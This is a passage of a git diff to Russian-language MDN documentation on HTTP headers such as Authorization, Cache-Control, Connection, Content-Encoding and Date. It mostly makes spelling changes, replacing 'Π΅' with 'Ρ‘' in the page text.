+ <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
<td>НСт</td>
</tr>
</tbody>
@@ -43,12 +43,12 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Authorization
<dt>&lt;Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ&gt;</dt>
<dd>Если ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ схСма Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ «Базовая», Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:
<ul>
- <li>Π›ΠΎΠ³ΠΈΠ½ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌΒ (<code>aladdin:opensesame</code>).</li>
+ <li>Π›ΠΎΠ³ΠΈΠ½ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌΒ (<code>aladdin:opensesame</code>).</li>
<li>Π Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ строка, закодированная Π² <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a>Β (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li>
</ul>
<div class="note">
- <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠšΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ° Base64 Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Ρ…ΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅! Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‚Π°ΠΊ ΠΆΠ΅ нСбСзопасСн, ΠΊΠ°ΠΊ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΌ Π²ΠΈΠ΄Π΅ (base64 являСтся ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠΌΠΎΠΉ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΎΠΉ). ΠžΡ‚Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ использованию HTTPS Π² сочСтании с Π‘Π°Π·ΠΎΠ²ΠΎΠΉ АвторизациСй.</p>
+ <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠšΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ° Base64 Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Ρ…ΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅! Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‚Π°ΠΊ ΠΆΠ΅ нСбСзопасСн, ΠΊΠ°ΠΊ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΌ Π²ΠΈΠ΄Π΅ (base64 являСтся ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠΌΠΎΠΉ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΎΠΉ). ΠžΡ‚Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ использованию HTTPS Π² сочСтании с Π‘Π°Π·ΠΎΠ²ΠΎΠΉ АвторизациСй.</p>
</div>
</dd>
</dl>
diff --git a/files/ru/web/http/headers/cache-control/index.html b/files/ru/web/http/headers/cache-control/index.html
index 4d1165c324..70acce7e01 100644
--- a/files/ru/web/http/headers/cache-control/index.html
+++ b/files/ru/web/http/headers/cache-control/index.html
@@ -87,7 +87,7 @@ Cache-Control: stale-if-error=&lt;seconds&gt;
<dl>
<dt><code>max-age=&lt;seconds&gt;</code></dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ максимальноС врСмя Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ рСсурс Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ <code>Expires</code>, данная инструкция являСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ запроса.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ максимальноС врСмя Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ рСсурс Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ <code>Expires</code>, данная инструкция являСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ запроса.</dd>
<dt><code>s-maxage=&lt;seconds&gt;</code></dt>
<dd>ΠŸΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚Β <code>max-age</code> ΠΈΠ»ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>Expires</code>, Π½ΠΎ примСняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для раздСляСмых кэшСй (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, прокси) ΠΈ игнорируСтся частными кэшами.</dd>
<dt><code>max-stale[=&lt;seconds&gt;]</code></dt>
diff --git a/files/ru/web/http/headers/connection/index.html b/files/ru/web/http/headers/connection/index.html
index 1470326d45..a68e883264 100644
--- a/files/ru/web/http/headers/connection/index.html
+++ b/files/ru/web/http/headers/connection/index.html
@@ -11,7 +11,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Connection
---
<div>{{HTTPSidebar}}</div>
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <strong><code>Connection</code></strong> опрСдСляСт, остаСтся Π»ΠΈ сСтСвоС соСдинСниС активным послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ (запроса). Если Π² запросС ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>keep-alive</code>, то соСдинСниС остаСтся ΠΈ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ запросы Π½Π° Ρ‚ΠΎΡ‚ ΠΆΠ΅ сСрвСр.</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <strong><code>Connection</code></strong> опрСдСляСт, остаётся Π»ΠΈ сСтСвоС соСдинСниС активным послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΈ (запроса). Если Π² запросС ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>keep-alive</code>, то соСдинСниС остаётся ΠΈ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ запросы Π½Π° Ρ‚ΠΎΡ‚ ΠΆΠ΅ сСрвСр.</p>
<div class="blockIndicator warning">
<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, связанныС с соСдинСниСм, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ {{HTTPHeader("Connection")}} ΠΈΒ {{HTTPHeader("Keep-Alive")}}, <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Ρ‹ Π²Β HTTP/2</a>. Chrome ΠΈ Firefox просто ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ эти Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π²Β HTTP/2 ΠΎΡ‚Π²Π΅Ρ‚Π°Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎΒ Safari, слСдуя трСбованиям HTTP/2,Β Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎΒ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Π΄Π°Π½Π½Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ.</p>
@@ -26,7 +26,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Connection
<td>{{Glossary("General header", "ΠžΠ±Ρ‰ΠΈΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ")}}</td>
</tr>
<tr>
- <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
+ <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
<td>Π΄Π°</td>
</tr>
</tbody>
diff --git a/files/ru/web/http/headers/content-disposition/index.html b/files/ru/web/http/headers/content-disposition/index.html
index 144fb4b808..70ad08a53a 100644
--- a/files/ru/web/http/headers/content-disposition/index.html
+++ b/files/ru/web/http/headers/content-disposition/index.html
@@ -36,7 +36,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Content-Disposition
<h3 id="Как_Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ_ΠΎΡ‚Π²Π΅Ρ‚Π°_с_ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ_Ρ‚Π΅Π»ΠΎΠΌ">Как Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π° с ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ Ρ‚Π΅Π»ΠΎΠΌ</h3>
-<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ Π² контСкстС HTTP Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ»ΠΈ <code>inline</code> (это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Π΅Π±-страницы ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ Π²Π΅Π±-страница) ΠΈΠ»ΠΈ <code>attachment</code> (ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° скачиваСмый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚; Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ "Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ" с Π·Π°Ρ€Π°Π½Π΅Π΅ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ„Π°ΠΉΠ»Π° ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>filename</code>, Ссли ΠΎΠ½ Π·Π°Π΄Π°Π½).</p>
+<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ Π² контСкстС HTTP Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ»ΠΈ <code>inline</code> (это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Π΅Π±-страницы ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ Π²Π΅Π±-страница) ΠΈΠ»ΠΈ <code>attachment</code> (ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° скачиваСмый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚; Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ "Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ" с Π·Π°Ρ€Π°Π½Π΅Π΅ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ„Π°ΠΉΠ»Π° ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>filename</code>, Ссли ΠΎΠ½ Π·Π°Π΄Π°Π½).</p>
<pre class="syntaxbox">Content-Disposition: inline
Content-Disposition: attachment
diff --git a/files/ru/web/http/headers/content-encoding/index.html b/files/ru/web/http/headers/content-encoding/index.html
index 47c1db50a5..2584223a02 100644
--- a/files/ru/web/http/headers/content-encoding/index.html
+++ b/files/ru/web/http/headers/content-encoding/index.html
@@ -10,7 +10,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Content-Encoding
---
<div>{{HTTPSidebar}}</div>
-<p><strong><code>Content-Encoding</code></strong> - это ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ для сТатия ΠΌΠ΅Π΄ΠΈΠ°-Ρ‚ΠΈΠΏΠ°. ΠŸΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈΒ Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ, ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½ΡƒΡŽ ΠΊ сущности <strong><code>body</code></strong>. Π­Ρ‚ΠΎ позволяСт ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΊΠ°ΠΊ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ <strong><code>body</code></strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ΅Π΄ΠΈΠ°-Ρ‚ΠΈΠΏ ΡΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠΉΡΡ Π½Π°Β Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code><strong>Content-TypeΒ </strong></code></p>
+<p><strong><code>Content-Encoding</code></strong> - это ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ для сТатия ΠΌΠ΅Π΄ΠΈΠ°-Ρ‚ΠΈΠΏΠ°. ΠŸΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈΒ Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ, ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½ΡƒΡŽ ΠΊ сущности <strong><code>body</code></strong>. Π­Ρ‚ΠΎ позволяСт ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΊΠ°ΠΊ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ <strong><code>body</code></strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ΅Π΄ΠΈΠ°-Ρ‚ΠΈΠΏ ΡΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠΉΡΡ Π½Π°Β Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code><strong>Content-TypeΒ </strong></code></p>
<p>РСкомСндация - ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ насколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это ΠΏΠΎΠ»Π΅, Π½ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ изобраТСния Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ jpeg, ΡƒΠΆΠ΅ сТаты. Иногда, использованиС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ сТатия Π½Π΅ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΈ Π΄Π°ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ дольшС.</p>
diff --git a/files/ru/web/http/headers/content-language/index.html b/files/ru/web/http/headers/content-language/index.html
index bf273885a3..04d7618e57 100644
--- a/files/ru/web/http/headers/content-language/index.html
+++ b/files/ru/web/http/headers/content-language/index.html
@@ -46,7 +46,7 @@ Content-Language: de-DE, en-CA
<dl>
<dt><code>language-tag</code></dt>
- <dd>НСсколько языковых Ρ‚Π΅Π³ΠΎΠ² Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ запятыми. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ языковой Ρ‚Π΅Π³ прСдставляСт собой ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΠΎΠ΄Ρ‚Π΅Π³ΠΎΠ² Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π° рСгистра, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… символом дСфиса ("<code>-</code>", <code>%x2D</code>).</dd>
+ <dd>НСсколько языковых Ρ‚Π΅Π³ΠΎΠ² Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ запятыми. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ языковой Ρ‚Π΅Π³ прСдставляСт собой ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΠΎΠ΄Ρ‚Π΅Π³ΠΎΠ² Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… символом дСфиса ("<code>-</code>", <code>%x2D</code>).</dd>
<dd>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв языковой Ρ‚Π΅Π³ состоит ΠΈΠ· ΠΏΠΎΠ΄Ρ‚Π΅Π³Π° основного языка, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚ ΡˆΠΈΡ€ΠΎΠΊΠΎΠ΅ сСмСйство родствСнных языков (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, "<code>en</code>" = English), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ слСдуСт ряд ΠΏΠΎΠ΄Ρ‚Π΅Π³ΠΎΠ², ΡƒΡ‚ΠΎΡ‡Π½ΡΡŽΡ‰ΠΈΡ… ΠΈΠ»ΠΈ ΡΡƒΠΆΠ°ΡŽΡ‰ΠΈΡ… Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ этого языка (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, "<code>en-CA</code>" = Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ диалСкта английского языка, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅Π³ΠΎΡΡ Π² КанадС).</dd>
</dl>
diff --git a/files/ru/web/http/headers/date/index.html b/files/ru/web/http/headers/date/index.html
index 164663440a..c9bb0be9d6 100644
--- a/files/ru/web/http/headers/date/index.html
+++ b/files/ru/web/http/headers/date/index.html
@@ -20,7 +20,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Date
<td>{{Glossary("Основной")}}</td>
</tr>
<tr>
- <th scope="row">{{Glossary("Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
+ <th scope="row">{{Glossary("Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
<td>Π΄Π°</td>
</tr>
</tbody>
@@ -37,17 +37,17 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Date
<dt>&lt;day-name&gt;</dt>
<dd>Одно ΠΈΠ·Β "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ΠΈΠ»ΠΈ "Sun" (рСгистрозависимоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅).</dd>
<dt>&lt;day&gt;</dt>
- <dd>НомСр дня с Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ Π½ΡƒΠ»Π΅ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β "04" ΠΈΠ»ΠΈ "23".</dd>
+ <dd>НомСр дня с Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ Π½ΡƒΠ»Ρ‘ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β "04" ΠΈΠ»ΠΈ "23".</dd>
<dt>&lt;month&gt;</dt>
<dd>Один ΠΈΠ·Β "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (рСгистрозависимоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅).</dd>
<dt>&lt;year&gt;</dt>
<dd>Π“ΠΎΠ΄ ΠΈΠ· 4-Ρ… символов, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "1990" ΠΈΠ»ΠΈ "2016".</dd>
<dt>&lt;hour&gt;</dt>
- <dd>Часы с Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ Π½ΡƒΠ»Π΅ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β "09" ΠΈΠ»ΠΈ "23".</dd>
